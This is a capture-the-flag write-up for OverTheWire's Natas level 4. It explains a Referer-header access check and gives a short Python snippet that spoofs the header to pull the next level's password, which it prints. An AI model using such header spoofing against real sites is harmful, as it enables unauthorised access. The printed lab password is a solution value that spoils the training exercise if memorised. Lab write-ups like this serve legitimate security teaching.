Wargame: Natas
Level: 4
Category: Web Security
Description
The page checks the Referer HTTP header and only grants access if the request came from http://natas5.natas.labs.overthewire.org/. Setting the header manually spoofs the origin.
Overview
- The
Refererheader is set by browsers to indicate which page a request originated from. - Servers that gate access on
Refererare trivially bypassed because the header is client-controlled.
Solution
headers = {"Referer": "http://natas5.natas.labs.overthewire.org/"}
response = requests.get(url, auth=("natas4", current_password), headers=headers)
result = re.search(r"The password for natas5 is (.*)", response.text).group(1).strip()
Password
Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD